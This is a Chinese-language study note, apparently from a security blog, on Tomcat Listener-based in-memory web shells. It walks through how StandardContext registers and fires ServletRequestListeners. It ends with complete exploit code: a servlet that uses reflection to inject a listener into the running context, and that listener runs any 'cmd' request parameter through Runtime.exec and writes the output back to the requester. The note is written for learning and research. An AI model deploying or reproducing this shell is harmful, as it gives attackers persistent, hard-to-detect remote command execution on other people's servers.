基础介绍
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
我的理解是无论什么请求,都会被listener监控
Listener有三个域对象
- ServletContextListener
- HttpSessionListener
- ServletRequestListener
其中ServletRequestListener 是最适合用来作为内存马的。因为 ServletRequestListener 是用来监听 ServletRequest对 象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()
方法
Listener基础实现
写一个基础的Listener,然后在webxml里面装配
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package Listener;
import org.apache.catalina.core.ApplicationFilterChain; import org.apache.catalina.startup.ContextConfig;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; import java.util.EventListener;
@WebListener("/listenerTest") public class ListenerTest implements ServletRequestListener {
public ListenerTest(){
}
@Override public void requestDestroyed(ServletRequestEvent sre) {
}
@Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("Listener 被调用"); } }
|
webxml
1 2 3
| <listener> <listener-class>Listener.ListenerTest</listener-class> </listener>
|
访问对应的路由,可以看到日志有打印

Listener流程分析
分析前有两个问题要思考:1.tomcat是怎么加载listener的 2.恶意代码应该写在哪
应用开启前
读取配置文件
有一个ContextConfig.configureContext()方法把 web.xml 作为参数传进去

里面进行一些配置读取工作,不细看了
读完配置文件,加载Listener
应用启动的时候,StandardContext
会去调用 listenerStart()
方法。这个方法做了一些基础的安全检查,最后完成简单的 start 业务

这里重点有一个findApplicationListeners()
方法,就是把之前的Listener存到这里
应用运行过程
断点打在requestInitialized()方法

然后看调用栈,回到最后一个invoke方法,为了进入fireRequestInitEvent()方法

主要代码在这里面,跟进到getApplicationEventListeners()方法里面,会有这段,在获取listener数组
1 2 3
| public Object[] getApplicationEventListeners() { return this.applicationEventListenersList.toArray(); }
|
然后可以发现实际上listener是存储在applicationEventListenersList里面的
1
| private List<Object> applicationEventListenersList = new CopyOnWriteArrayList();
|
而且可以通过addApplicationEventListener()方法来添加listener

到后面就和filter差不多,listener组内listener会被逐个触发,直到最后的requestInitialized()方法

攻击
前辈的图依旧画的十分清晰

依旧是需要获取StandardContext,相比filter内存马会简单一些
最后exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| package Listener;
import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext;
import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.util.ArrayList; import java.util.Arrays; import java.util.List;
class ListenerMemShell implements ServletRequestListener{
@Override public void requestDestroyed(ServletRequestEvent sre) { }
@Override public void requestInitialized(ServletRequestEvent sre) { String cmd; try { cmd = sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest(); Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); try { Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse();
if (cmd != null) { InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i = inputStream.read(bytes)) != -1) { response.getWriter().write(new String(bytes, 0, i)); response.getWriter().write("\r\n"); } } } catch (Exception e) { e.printStackTrace(); } } catch (NoSuchFieldException e) { throw new RuntimeException(e); } catch (ClassNotFoundException e) { throw new RuntimeException(e); } finally {
} } }
@WebServlet("/addListener") public class ListenerShell extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try { ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Object[] objects = standardContext.getApplicationEventListeners(); List<Object> listeners = Arrays.asList(objects); List<Object> arrayList = new ArrayList<>(listeners); arrayList.add(new ListenerMemShell()); standardContext.setApplicationEventListeners(arrayList.toArray());
System.out.println("listener内存马添加成功"); response.getWriter().write("Listener added successfully!"); } catch (NoSuchFieldException | IllegalAccessException e) { e.printStackTrace(); throw new ServletException("Failed to add listener", e); } } }
|
参考
https://drun1baby.top/2022/08/27/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-04-Tomcat-%E4%B9%8B-Listener-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/
碎碎念
依旧不是很走心的笔记,下一篇详细写结合反序列化打入内存马